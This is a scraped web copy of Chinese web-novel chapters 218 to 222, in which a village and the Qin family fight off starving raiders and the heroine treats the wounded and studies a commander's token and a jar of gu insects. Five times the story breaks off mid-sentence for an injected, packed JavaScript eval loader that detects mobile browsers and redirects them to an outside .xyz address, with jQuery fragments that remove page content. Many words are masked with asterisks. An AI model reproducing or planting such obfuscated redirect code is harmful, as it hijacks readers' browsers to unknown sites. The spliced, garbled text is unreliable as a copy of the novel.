这群蛮夷人的进攻方式太过规律,每一个动作都整齐划一,显然是经过严格训练的。他们手持大刀,目光凶狠,却又带着一种说不出的疯狂。 百条德牧已经冲到前方,它们不需要任何指令,便已经扑向了来犯之敌。狗群中领头的几条尤为凶猛,张开血盆大口直取敌人咽喉。 “呜——”一声凄厉的狗叫划破长空。 宁芷薇瞳孔微缩,只见一条德牧被砍中后腿,鲜血顿时染红了它漂亮的皮**。但这忠诚的守护者并未退缩,反而更加凶狠地咬住敌人的手臂,即便对方挥刀砍在它身上,它也死死不松口。 “畜生,给老子死!”那蛮夷人怒吼着,举刀就要砍向德牧的头部。 “住手!”杨乡长的怒吼声响彻战场,“大家伙儿一起上!保护咱们的家园!” 这声音仿佛惊雷般炸响,总算让惊慌失措的村民们回过神来。他们纷纷抄起身边能用的农具,有的拿着锄头,有的举着铁锹,甚至还有人抓起了扫帚。 “冲啊!”村民们呐喊着冲了上去。 宁芷薇的目光在人群中游走,很快就发现了自己的父亲和兄长。这些平日里手无 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找到一块突起的巨石,宁芷薇轻巧地跃了上去。这个位置视野极佳,刚好能看到那名指挥者的头顶。 她屏住呼吸,将**箭瞄准目标。风向、距离、角度,所有因素都要考虑在内。 “嗖!” 箭矢破空而去,发出尖锐的啸声。 那名指挥者似乎察觉到了危险,但为时已晚。箭矢准确地命中了他的眉心,摇动的小旗应声倒下。 果然,失去指挥的蛮夷人立刻乱了阵型。但出乎意料的是,他们并未退却,反而更加疯狂地向前冲杀。 宁芷薇仔细观察这些人。他们个个面黄肌瘦,衣衫褴褛,眼中带着绝望的疯狂。这是一群饿极了的人,与其回去等死,不如在这里拼命。 但这并不是他们可以为非作歹的理由。看着不断有村民受伤倒下,宁芷薇知道不能再袖手旁观。 第二百一十八章 她从界阙取出几包用玉斑蛙毒素制成的**。这是她精心调配的配方,剂量刚好能让人失去意识,却不会危及生命。 “七哥!七哥!”她快步向战场跑去。 “九弟妹别过来!这里危险!”三嫂急切的喊声传来。 但宁芷薇已经来到七哥身边,将**塞进他手中:“七哥,听我指挥。这些人虽然凶狠,但已经体力不支,只要...” 她的话还没说完,一个蛮夷人突然从侧面扑来。七哥眼疾手快,一个侧身躲过对方的大刀,同时使出一记狠辣的擒拿手,将那人制住。 “快!”宁芷薇低喝一声。 七哥会意,立刻将**撒向那人面部。对方挣扎了几下,很快就软倒在地。 这种战术果然有效。七哥带着几个身手矫健的年轻人,专门寻找落单的敌人下手。每制服一个,就用**让其失去战斗力。 宁芷薇重新回到石头上,居高临下地观察战场态势。她从界阙唤出了墨圆儿,这只通体雪白的小狐狸轻巧地落在她肩头。 宁芷薇站在院落中央,看着眼前的混乱场面,心中一阵揪痛。那些为了守护家园而受伤的狗狗们正呜咽着舔舐伤口,有几只甚至瘸着腿,蜷缩在角落里发抖。 庭院里弥漫着一股血腥气,与往日温馨祥和的氛围形成鲜明对比。几个倒下的蛮夷人横七竖八地躺在地上,他们手中的武器散落一地,在月光下泛着冷冽的光。 墨圆儿蹲在宁芷薇脚边,难得没有像往常一样撒娇卖萌。它警惕地竖起耳朵,琥珀色的眼睛不停地打量着四周,喉咙里发出低沉的呜咽声。 “ 宝贝,该你大显身手了。”她轻声说道,手指轻轻抚摸着墨圆儿的皮**。 “宝贝,将那群汪星人全都唤回。”宁芷薇轻轻抚摸着墨圆儿的脑袋,声音温柔却带着几分急切。她不想让即将使用的**伤及这些忠诚的小家伙们。 墨圆儿仿佛听懂了主人的话,立即昂起头,发出一阵奇特的叫声。那些正在与蛮夷人缠斗的狗狗们立刻如同见了鬼似的,飞快地朝她这边跑来。它们的动作整齐划一,显然平日里没少受过训练。 “七哥,可以了!”宁芷薇高声喊道,同时快速后退几步,将墨圆儿和其他狗狗护在身后。 与此同时,宁芷薇取出一把特制的**。这是她专门为远程作战准备的武器,箭头上涂有特殊的麻醉剂。 她要配合墨圆儿的行动,在适当的时机给予致命一击。因为这场战斗,还远没有结束。 七哥闻言立即掩住口鼻,将手中的白色粉末撒向蛮夷人。粉末在空气中形成一片薄雾,随着夜风缓缓飘散。转眼间,那些气势汹汹的蛮夷人便倒在地上,一动不动。 看着那些白色粉末,七哥心中一阵恍惚。记忆不受控制地回到了那个血腥的战场,当年他就是因为中了类似的**,才落入沧澜先生的手中。就算此刻堵住呼吸,那若有若无的药味还是让他感到一阵眩晕,胃部泛起阵阵恶心。 他暗自咂舌,九弟妹给的这**,威力竟比沧澜先生的还要强。这让他不禁对这个看似柔弱的弟妹多了几分敬畏。 不远处的庭院一角,秦雪松还在与几个蛮夷人缠斗。月光下,刀光剑影交织,不时传来金属碰撞的清脆声响。秦雪松虽然以一敌多,但招式凌厉,丝毫不落下风。 七哥紧握着剩余的**,朝秦雪松的方向快步奔去。夜风吹动他的衣袍,发出簌簌的响声。 “八弟,捂住口鼻!”七哥低声提醒,同时观察着风向。 秦雪松虽然平日里大大咧咧,但关键时刻反应极快。他立即虚晃一招,跳出包围圈,同时用手捂住口鼻。他的动作行云流水,显然经过千锤百炼。 七哥再次撒出**,白色粉末在月光下如同一片轻纱,笼罩了那片区域。那些**秦雪松的蛮夷人顿时东倒西歪,纷纷倒地不起。 剩下的蛮夷人见状,吓得魂不附体,纷纷后退。他们的眼中充满了恐惧,显然没见过这种诡异的场面。 “混账东西!以为这里是你们想来就来,想走就走的地方吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815280|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦雪松怒喝一声,声音中带着显而易见的怒意。 七哥冷冷道:“不想死就给我站住。”他的声音不大,却带着一股令人不寒而栗的威压。 两兄弟追击上去,转眼间又放倒了几个跑得慢的蛮夷人。剩下的蛮夷人见状,吓得双腿发软,纷纷跪地求饶。 “好汉饶命啊!我们也是被逼无奈......”一个蛮夷人颤抖着声音哀求道,额头上的冷汗不停地往下滴。 七哥冷眼看着这群人:“说,究竟是何方神圣?”他的目光如刀,仿佛要将这些人的灵魂剖析。 一个蛮夷人颤声道:“咱们都是化外之民,家乡干旱,实在没办法活命了......”他的声音中带着绝望和恐惧。 七哥仔细打量着这些人。他们装备简陋,衣衫褴褛,大多数人手里拿的都是农具,显然不是正规军队。但刚才有人在后方举旗指挥,让这些人进退有序,显示出不同寻常的军事素养。只是那个指挥者在混乱中突然倒下了。 “是谁组织你们来永安**的?”七哥继续追问,眼神越发锐利。 众野人你看看我我看看你,没人敢回答。空气中弥漫着一股令人窒息的压抑感。 秦雪松冷笑一声:“既然不说,那就都别活了。”他缓缓抽出腰间的佩刀,刀身在月光下泛着寒光。 “正是那位扛大旗的家伙!”有人终于扛不住压力,指着后方喊道,“他说只要听他指挥,就能拿到食物......” “那人是谁?”七哥的声音更冷了几分。 “不知道,他用了十天教我们看他的指挥......”说话的人声音越来越小,显然也意识到了事情的不简单。 一个蛮夷人突然说道:“我偷听到他和人说话,说是要趁机探查秦家的虚实。还说什么秦家离玄陲太近,只要他们不参与就有胜算......” 七哥和秦雪松对视一眼,都从对方眼中看到了凝重。作为永安的将领,他们很清楚这意味着什么。蛮夷觊觎玄陲已久,而宁远就在玄陲附近。 第二百一十九章 夜风吹过庭院,带来一阵阵凉意。远处传来狗吠声,打破了这片刻的沉默。宁芷薇看着两位兄长严肃的表情,心中升起一丝不安。她轻轻抱起墨圆儿,感受着它温暖的皮**,试图平复内心的忐忑。 七哥转身看向那些倒地的蛮夷人,目光在那个举旗指挥者身上停留。月光下,那人的装束与其他人明显不同,虽然也穿着粗布衣裳,但衣服的剪裁和式样都透着几分讲究。 “把他们都绑起来。”七哥下令道,“特别是那个举旗的,一定要看好了。” 秦雪松点点头,开始指挥家丁们行动。很快,院子里就响起了绳索摩擦的声音和蛮夷人的呻吟声。 宁芷薇看着这一切,心中五味杂陈。她抚摸着墨圆儿的脑袋,轻声说道:“幸好有你们在,否则今晚还不知道会发生什么。” 墨圆儿似乎感受到了主人的心情,轻轻蹭了蹭她的手心,发出温柔的呜咽声。其他的狗狗们也围在她脚边,用温暖的目光注视着她。 夜色渐深,月光洒在院子里,为这场突如其来的混乱画上了一个暂时的句点。但所有人都知道,这只是一个开始,更大的风暴正在酝酿。 蛮夷人最怕的就是秦家男儿,这是众所周知的事实。 每次想要进犯永安,他们都会选择秦家不在东陲的时机。这一次也不例外,只是他们的目标从东陲转向了塞北。 从东陲到玄陲,横跨整个永安国土,即便快马加鞭也需要半月有余。七哥和八哥站在村口,看着远处升起的浓烟,眉头紧锁。 “这群蛮子,倒是打得好算盘。”七哥眯起眼睛,声音里带着一丝冷意。 八哥轻轻点头:“他们必定是得知了我们被流放塞北的消息,所以才敢如此肆无忌惮。” “怕是担心我们就算被流放,也会阻止他们犯境。”七哥冷笑一声,目光扫过地上横七竖八的蛮夷尸体,“所以借着劫掠东麓村的由头,来探查我们的虚实。” 远处,几个村民正在搬运伤员。杨乡长站在人群中间指挥调度,脸上的汗水混合着灰尘,在阳光下泛着微光。尽管有神将兄弟守护在前,但村民们仍难免有所损伤。 一阵微风吹过,带来一股血腥味。七哥皱了皱眉,转头看向不远处的宁芷薇。 此时的宁芷薇正忙得不可开交。那些被墨圆召回的狗狗,几乎个个带伤,有些伤口深可见骨。更让人心痛的是,还有几只再也回不来了。 看着这些从小看到大的狗狗,宁芷薇的眼眶不由得泛红。往日里,这些忠心耿耿的家伙总是摇着尾巴围着她转,讨要食物和抚摸。如今却为了保护村子,付出了如此惨重的代价。 此刻容不得她沉浸在悲伤中,伤员的救治刻不容缓。她将墨圆儿送入界阙,同时取出大量治伤药物和绷带,手脚麻利地包成一个大包裹。 所幸这些药物早已换成瓷瓶,绷带也都是经过高温消毒的白麻布,使用起来与现代纱布无异。但看着满地的伤员,宁芷薇知道光靠自己一个人是忙不过来的。 “娘,各位嫂嫂,快来帮忙!”她朝秦家女眷们喊道。 女眷们还沉浸在方才的震惊中。她们只看到九弟妹和秦昭玄说了几句话,敌军瞬间被团灭,这种诡异的场面让她们一时难以回神。 “都愣着做什么?”秦老夫人沉声喝道,“九儿媳妇叫你们,必有要事。” 众人这才如梦初醒,连忙跑向宁芷薇。看着满身是血的狗狗们,二嫂已经红了眼眶:“这些可怜的家伙,为了保护我们...” “既然心疼,就赶紧帮忙。”秦老夫人打断道。年轻时随老国公去过塞北的她,见过比这更惨烈的场面。此时的当务之急是救治伤员,而不是在这里伤春悲秋。 宁芷薇取出药品和剃刀:“先把伤口周围的**剃掉,然后擦这个药防止感染,最后上药包扎。遇到伤势严重的,直接送到我这里来。” 女眷们虽然害怕血腥场面,但想到耽误救治的后果,都咬牙克服了恐惧。宁芷薇注意到秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815281|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨澜的手法特别熟练,想来是平日里给那些打架的兔子处理伤口练出来的。 “有不懂的就问澜儿。”她交代一声,转身去查看受伤的村民。 东麓村没有大夫,去城里请人一来一回太耽误时间。若有重伤员,怕是等不及。好在她的界阙里储存了不少现代药物,只要及时处理,应该不会有生命危险。 就在这时,一个村民跌跌撞撞地跑了过来:“九夫人,快去看看吧!老陈头伤得很重!” 宁芷薇顾不得擦拭额头的汗水,提着药箱快步跟上。老陈头是村里的能工巧匠,平日里没少帮她打造各种农具。此次蛮夷来袭,他带着几个年轻人守在村口,结果被蛮夷的弓箭射中了胸口。 来到老陈头家,只见他躺在床上,脸色苍白如纸。箭矢已经被拔出,但伤口仍在不断渗血。宁芷薇立刻上前查看,发现箭头带有倒钩,拔出时撕裂了更多血肉。 “快去烧水!”她一边吩咐,一边从界阙里取出消毒水和缝合针。 老陈头的儿媳妇抹着眼泪跑出去,不一会儿就端来一盆热水。宁芷薇仔细清洗伤口,然后用消毒水浸泡过的针线开始缝合。 “忍着点。”她低声说道,手上的动作又快又稳。 老陈头紧咬着牙,额头上冒出豆大的汗珠,却始终没有发出一声呻吟。等宁芷薇包扎完毕,他才长出一口气,虚弱地说道:“多谢九夫人。” “别说话,好好休息。”宁芷薇给他喂了一颗止痛药,又叮嘱了几句注意事项,这才转身离开。 刚走出老陈头家,就听见不远处传来一阵喧哗。宁芷薇抬头望去,只见几个村民正抬着一个浑身是血的人往这边走。 “又有伤员?”她皱眉问道。 “是蛮夷的头领。”一个村民答道,“七老说留他一命,要审问。” 宁芷薇点点头,明白了七哥的用意。这次蛮夷突然来袭,必定另有图谋。若能从头领口中问出实情,或许能提前防范下一次的袭击。 第二百二十章 就在这时,秦昭玄从远处走来。他的衣袖上沾着血迹,脸上带着几分疲惫,但眼神依旧锐利如刀。 “怎么样?”他低声问道。 “暂时没有生命危险的。”宁芷薇答道,“不过有几个伤得比较重,需要好好调养。” 秦昭玄点点头:“辛苦了。” 宁芷薇摇摇头,正要说话,突然看到秦昭玄的手臂上有一道伤口。虽然不深,但已经渗出了血迹。 “你也受伤了?”她皱眉道,“怎么不早说?” 秦昭玄低头看了看伤口,似乎这才注意到:“不碍事,小伤而已。” “什么小伤?”宁芷薇瞪了他一眼,“过来,我给你处理一下。” 秦昭玄张了张嘴,似乎想说什么,但最终还是顺从地走了过来。宁芷薇取出药物,仔细地为他清理伤口。 “以后别这样了。”她一边包扎一边说道,“再小的伤口也要及时处理,否则容易感染。” 秦昭玄看着她认真的侧脸,眼中闪过一丝温柔。这个女子,总是把所有人的安危都放在心上,却常常忘了照顾自己。 “知道了。”他轻声应道。 宁芷薇抬头看了他一眼,见他脸上难得露出温和的表情,心里不由得一软。但她很快就收敛了情绪,继续专注于手上的工作。 天色渐暗,东麓村终于恢复了平静。虽然有不少房屋被烧毁,但好在没有人员死亡。村民们在秦家的帮助下,已经开始着手重建家园。 七哥和八哥站在村口,望着远处的落日。 “这次的事,恐怕只是个开始。”八哥沉声道。 七哥点点头:“蛮夷既然敢来试探,就说明他们已经有了更大的图谋。” “要不要派人回京报信?” “不必了。”七哥冷笑一声,“朝廷既然能把我们流放到这里,就该想到会有这样的后果。” 八哥叹了口气。曾经为国尽忠的秦家,如今却被朝廷猜忌排挤,不得不远离故土。这份凉薄,让人心寒。 “走吧。”七哥转身道,“去看看那个蛮夷头领醒了没有。” 村里的女人们听到停战的消息,纷纷朝这边赶来。哭喊声、呼唤声此起彼伏,在山谷间回荡。有人抱着受伤的丈夫痛哭,有人焦急地寻找自家亲人,整个场面混乱不堪。 宁芷薇赶到时,映入眼帘的就是这样一幅悲戚的画面。她的手不自觉地抚上隆起的腹部,深吸一口气,强迫自己冷静下来。 “让一让,让我看看伤势。”她轻声说道,缓步向前。 人群中有人认出了她:“是老九家的!” “快让开,让大夫看看。”人群自动分开一条路。 有热心的妇人见她挺着大肚子,连忙上前搀扶:“老九家的,你慢些。” 宁芷薇站定后,目光快速扫过在场的伤者。血腥味扑面而来,她微微蹙眉,强忍着不适。这时,她注意到不远处的东睿。 东睿一身华服已经被鲜血浸透,手中还握着一柄染血的长剑。他神色凝重地看着受伤的村民,眉头紧锁,眼中满是担忧。剑刃上的血迹还未干涸,在晨光下泛着暗红色的光。 想起秦远霄曾提过东睿不懂武功,现在把侍卫全赶走了,一个养尊处贵的公子能在危急时刻挺身而出,着实令人刮目相看。他的衣袖被划破了一道口子,露出里面的伤口,但他似乎浑然不觉。 宁芷薇的目光在东睿身上停留了片刻,见他只是些许皮外伤,这才稍稍放心。 此时容不得多想,她快速清点了一下伤者。二十多个村民受了伤,虽然都是皮外伤,但伤口颇深,有些甚至能看到森森白骨。鲜血还在不断涌出,染红了身下的草地。 有人疼得直冒冷汗,却咬紧牙关不吭声;有人因失血过多面色苍白,意识已经开始模糊;还有人强撑着想要起身,却被家人按住。 这样的伤势她能处理,人实在太挤了,一个人实在忙不过来。若是秦远霄在就好了...这个想法冒出来的瞬间,宁芷薇心头一紧。他已经离开半个多月了,不知在京城可还安好。 这是她第一次如此强烈地想念一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820058|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。思绪还未及散去,杨乡长焦急的声音已经在耳边响起。 “老九家的,这些伤能治吗?”杨乡长满脸焦虑,“要不要派人去县里请大夫?” 宁芷薇摇摇头:“赵叔放心,我能治。”她环视四周,“只是需要几个帮手。” 话音刚落,杨临风就第一个站了出来。他的青衫上也沾了血迹,脸上还有擦伤:“九嫂子,我来帮忙。” 段承义和梁天河也带着家人上前表态。东睿和商智也纷纷请缨,虽然他们都带着伤,但眼中满是坚定。 宁芷薇看他们身上都有些轻伤,但并不碍事。她从随身的药箱中取出几包药粉,开始分派任务。 “先去河边洗手,然后来取药。”她的声音清晰而沉稳,“伤口处理要快,但一定要仔细。” 几人立刻奔向小河,很快又跑回来。河水打湿了他们的衣袖,但没人在意这些。 宁芷薇已经开始处理最重的伤者,一边动手一边教他们:“先清理伤口周围的血迹,然后用清水冲洗伤口。记住要轻柔,别碰到伤口边缘。” 她的手法娴熟,动作轻快而准确。在她的指导下,大家很快掌握了要领,分头救治起来。 此时天色大亮,外村来帮工的人陆续赶到,被眼前的场景惊呆了。山脚下横七竖八躺着一地蛮夷人,血迹斑斑,秦家兄弟正在给他们捆绑。 有人认出了正在忙碌的秦家兄弟:“七老、八爷...”声音中带着几分惊惧。 七哥头也不抬,继续手上的活计:“快来帮忙,把这些人都绑了。” “死...**也要绑吗?”有人颤声问道。 “他们只是昏迷。”七哥这才抬头解释,“你们随便挑个活的绑着就成。” 工人们这才放下心来帮忙,很快就把所有蛮夷人都捆住了。地上的血迹已经开始凝固,散发出一股腥臭味。 秦雪松擦了擦额头的汗水:“七哥,我去县衙报信,这么大的事得请示蒋大人。” “好,你快去。”七哥点点头,“路上小心些。” 第二百二十一章 夕阳西斜,血色的余晖笼罩着整个村庄。七哥带着工人和村民们将死去的蛮夷人尸体集中到一处,空气中弥漫着血腥气。 “小心些,别碰坏了尸体。”七哥擦了擦额头的汗水,目光在每具尸体上仔细扫过。 宁芷薇一箭射杀的那个指挥者尸体格外引人注目。这人身材魁梧,衣着考究,与其他蛮夷人明显不同。七哥蹲下身,仔细查看起来。 “七哥,这人好像不是一般的蛮夷人。”一个年轻工人小声说道,“您瞧他的靴子,是南边那种特制的。” 七哥点点头,他在战场上搜查过不少敌军将领,对这些细节极为敏感。他先是检查了死者的衣襟,接着摸索腰间,很快就有了发现。 “咦?”七哥从死者腰间摸出两样东西——一块雕刻着奇特纹路的令牌,还有一个精致的青花瓷瓶。 村民们纷纷围拢过来,好奇地张望。七哥却挥手示意他们后退:“别靠太近,这瓷瓶可能有古怪。” 他小心翼翼地端详着瓷瓶,却没有贸然打开。多年的经验告诉他,蛮夷人最擅长使用蛊毒,这种精致的小瓷瓶往往暗藏杀机。 “大家都散开些。”七哥将瓷瓶放在一块干净的布上,转而研究起那块令牌。 令牌通体青铜,上面的纹路繁复精美。七哥总觉得这图案似曾相识,却一时想不起在哪里见过。他正苦苦思索时,远处传来一阵疾风掠过的声响。 “是蒋大人来了!”有人喊道。 果然,秦雪松和蒋承志的身影出现在村口。两人身形矫健,显然是施展轻功赶来的。他们的速度之快,让跟在后面的官差们只能望尘莫及。 “七哥。”秦雪松快步走来,目光扫过地上的尸体,“可有什么发现?” 七哥将令牌递过去:“大人请看,这令牌上的纹路颇为特别。” 秦雪松接过令牌,在夕阳下细细端详。他的眉头渐渐皱起,眼中闪过一丝疑惑:“确实不是寻常物件,但我也说不上在哪见过。” “让我看看。”蒋承志凑近观察,突然眼前一亮,“这纹路...像不像曼陀罗的叶子?你们看这里的花纹,和曼陀罗的叶脉一模一样。” 此言一出,在场众人都是一震。 “曼陀罗...东陲的国花?”七哥喃喃自语,“难道这些人和东陲有关?” 秦雪松的目光变得锐利起来:“东陲...最近确实有传言说东陲不太平。” “且慢。”蒋承志制止了大家的猜测,转身走向那些被制服的蛮夷人,“我倒要问问,那个指挥者说话的口音,可是你们当地的?” 蛮夷人们见他一身官服,吓得连连摇头。 “回大人的话,那人说话和我们不一样。”一个年纪较大的蛮夷人颤声道,“听着像是南边的口音。” “对对对!”另一个蛮夷人连忙附和,“俺以前去南边做过买卖,那人说话的腔调,和南边人一模一样!” 众人七嘴八舌地回答着,生怕慢了一步惹恼了官府。 这时,宁芷薇在八嫂的搀扶下走了过来。她刚处理完伤员,脸色还有些苍白。 “九弟妹。”七哥将瓷瓶拿给她看,“这瓶子里可能装着蛊虫,你看该如何处理?” 宁芷薇接过瓷瓶,神色凝重。她轻轻摇晃瓶子,仔细聆听内部的声响。 “确实有东西在动。”她皱眉道,“而且...这瓶子的做工,也是东陲特有的。” 秦雪松和蒋承志对视一眼,都从对方眼中看到了凝重。 “先把这些尸体处理了吧。”秦雪松下令道,“七哥,你带人把尸体都烧了,别留下痕迹。” 七哥点头应下,立刻安排人手去准备柴火。 “芷薇。”秦雪松转向宁芷薇,“这瓶子你先收着,回头让大夫看看。至于这令牌...”他将令牌收入怀中,“我得好好查查。” 夜幕降临时,一堆大火在村外燃起。火光冲天,将整个夜空映照得通红。 宁芷薇站在远处,看着那些尸体被火焰吞噬。她总觉得,这次的事件远不是表面看起来那么简单。东陲、蛮夷,还有那些不明不白的蛊毒...一切都笼罩在迷雾之中。 八嫂端来一碗热汤:“九弟妹,喝点暖暖身子。” 宁芷薇道了声谢,却没有立即喝。她的目光落在那个小瓷瓶上,若有所思。 “八嫂。”她突然开口,“你可还记得,上次那个来村里做买卖的东陲商人?” 八嫂愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820059|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下:“你是说那个卖香料的?记得啊,那人说话的口音,和今天这个死掉的指挥官一模一样。” 宁芷薇眼中闪过一丝警惕:“那人来过几次?” “好像...有三四次吧。”八嫂回忆道,“每次都是傍晚来,天没亮就走了。当时还觉得奇怪,做买卖的哪有这么赶时间的。” 宁芷薇若有所思地点点头,没有再说什么。 远处,秦雪松和蒋承志正在低声交谈。火光映照下,两人的表情都很凝重。 “要不要派人去东陲查查?”蒋承志问道。 秦雪松摇摇头:“不急。这令牌既然落在我们手里,他们迟早会有动作。” “那就这么等着?” “等着。”秦雪松的目光望向远方,“有时候,等待也是一种策略。” 夜风吹过,火堆发出噼啪的响声。所有人都知道,这个夜晚过后,事情可能会有新的变化。但现在,他们能做的就是等待,等待迷雾散去的那一刻。 宁芷薇接过七哥递来的瓷瓶,纤细的手指微微颤抖。瓷瓶冰凉的触感让她不由自主地蹙眉,那种不安的预感愈发强烈。 她将瓷瓶轻轻贴在耳边,小心翼翼地摇晃。瓶内传来细微的碰撞声,那声音像是一把锋利的刀,划破了周遭的寂静。这声音她再熟悉不过,每一次听到都让她心头一紧。 “**。”她轻声说道,声音里带着一丝难以察觉的疲惫。 如果是活着的蛊虫,绝不会发出这样的声响。它们会本能地避开碰撞,就像夜色中悄然游走的精灵。此刻传来的声响,分明是已经失去生命的躯壳在瓶内翻滚。 她小心翼翼地打开瓶塞,把瓶中的毒虫倾倒在手上。冰凉的触感让她不由得打了个寒颤,这种感觉让她想起了曾经在东陲的日子。 黄褐色的蛊虫静静地躺在她手心,形态尚未完全成熟。宁芷薇的眉头皱得更紧了,指尖轻轻拨动着已经僵硬的蛊虫躯体。 “这蛊虫还未成年,”她仔细端详着手中的蛊虫,声音里带着专业的判断,“看来那个指挥官养蛊的功夫并不到家。” 七哥和八哥凑近观察,神色凝重。阳光透过树叶的缝隙洒在他们身上,在地上投下斑驳的影子。 第二百二十二章 “不过这倒是进一步证实了他的东陲身份。”宁芷薇将蛊虫重新装回瓷瓶,动作轻柔得仿佛在安置一件珍宝。“七哥、八哥,我总觉得事情没这么简单。” 她下意识地摸了摸微微隆起的腹部,那里孕育着两个小生命。思绪如同翻涌的浪潮,一波接着一波拍打着她的心房。 “东陲人若只是想打探秦家的消息,何必如此大费周章?”她目光闪动,声音里带着深深的忧虑,“我怀疑,他们是想借蛮夷之手来对付秦家。” 话音刚落,远处传来一阵急促的脚步声,打破了院子里凝重的气氛。脚步声由远及近,夹杂着细碎的说话声。 宁芷薇循声望去,只见洛桐带着一大群人匆匆赶来。他们中有白发苍苍的老者,也有朝气蓬勃的年轻人,甚至还有几个提着竹篮的妇人。 “七老、八爷!”洛桐快步上前,目光在战场的痕迹上扫过。地上残留的血迹和散落的武器无声地诉说着方才发生的激战。“这是怎么回事?” 秦雪松将事情经过简单说明,声音沉稳而有力。每说一句,洛桐的脸色就凝重一分。 洛桐听完,拳头攥得咯咯作响,指节因用力而发白:“这些宵小之辈,也敢来犯我秦家!”他的声音里充满了愤怒和不甘。 “七夜八爷放心,我们这些人既然回来了,就是要在这里安家。”他环顾四周的同伴们,目光坚定,“守护东麓村,是我们的本分。” 其他秦家旧部纷纷应和,他们的眼中闪烁着坚定的光芒。有人拍着胸脯保证,有人握紧了随身携带的农具,还有人已经开始商量着如何加强村子的防卫。 宁芷薇看着这一幕,心中暖意涌动。这些人能重获新生,对秦家的感激之情发自内心。每个人脸上都写满了决心,那是一种发自内心的归属感。 可惜她实在太累了,肚子里的两个小家伙闹腾得厉害。她能感觉到他们在腹中翻滚,仿佛在**母亲过度操劳。 “九儿,你先回去休息。”秦老夫人心疼地扶住她的胳膊,苍老的手掌传来温暖的力度。 宁芷薇点点头,由着婆婆搀扶着往回走。她的脚步有些虚浮,但还是强撑着保持优雅的姿态。 院子里的梧桐树沙沙作响,树影婆娑,仿佛在诉说着这片土地上即将发生的故事。远处传来村民们忙碌的声音,混合着鸡鸣狗吠,构成了一幅平和的乡村图景。 然而,这平静的表象下,暗流涌动。东陲人的出现,蛊虫的发现,都预示着更大的风暴正在酝酿。宁芷薇望着窗外的景色,心中泛起阵阵涟漪。她知道,这只是开始,更多的挑战还在等待着他们。 回到房间,她立刻进入界阙。熟悉的环境让她紧绷的神经稍稍放松,空气中弥漫着淡淡的花香。 界阙里早已备好了各色美食,这都要感谢古玩鉴赏家的贴心。案几上摆着热气腾腾的汤羹,还有几道精致的小菜,香味勾人。 界阙里的时间仿佛静止了,她慢慢品尝着美食,让身体和心灵都得到片刻的休憩。但她清楚,休息过后,还有更多的事情等待着她去处理。 她正要大快朵颐,突然想起什么似的,轻轻抚摸着肚子:“宝宝们,娘亲要开饭了,你们可别闹腾。”她的声音柔软得像是春风,带着浓浓的母性光辉。 而此时的蒋承志,正为处置那些活着的蛮夷人发愁。他站在院子里来回踱步,眉头紧锁。 杀了吧不合适,这些人毕竟是被裹挟而来。放了吧更说不过去,万一他们回去后泄露了东麓村的情况,后果不堪设想。 就在他一筹莫展之际,商智找上了门。他的到来或许能为这个棘手的问题带来转机。 “蒋大人,这些人该如何处置?” 蒋承志站在山坡上,目光扫过山谷中横七竖八躺着的蛮夷人。寒风呼啸,吹得他的官服猎猎作响。这些人衣衫褴褛,面黄肌瘦,显然已经很久没有吃过一顿饱饭了。 “这些人...”蒋承志喃喃自语,眉头紧锁。山谷中弥漫着潮湿的泥土气息,混杂着血腥味,让人心情格外沉重。 商智见状,缓步走到蒋承志身边,轻声问道:“蒋大人是在为这些人的去处发愁?” “确实。”蒋承志揉了揉太阳穴,“若是士兵倒还好办,可以与蛮夷皇帝谈判赎人。但这些都是普通百姓...” 话未说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 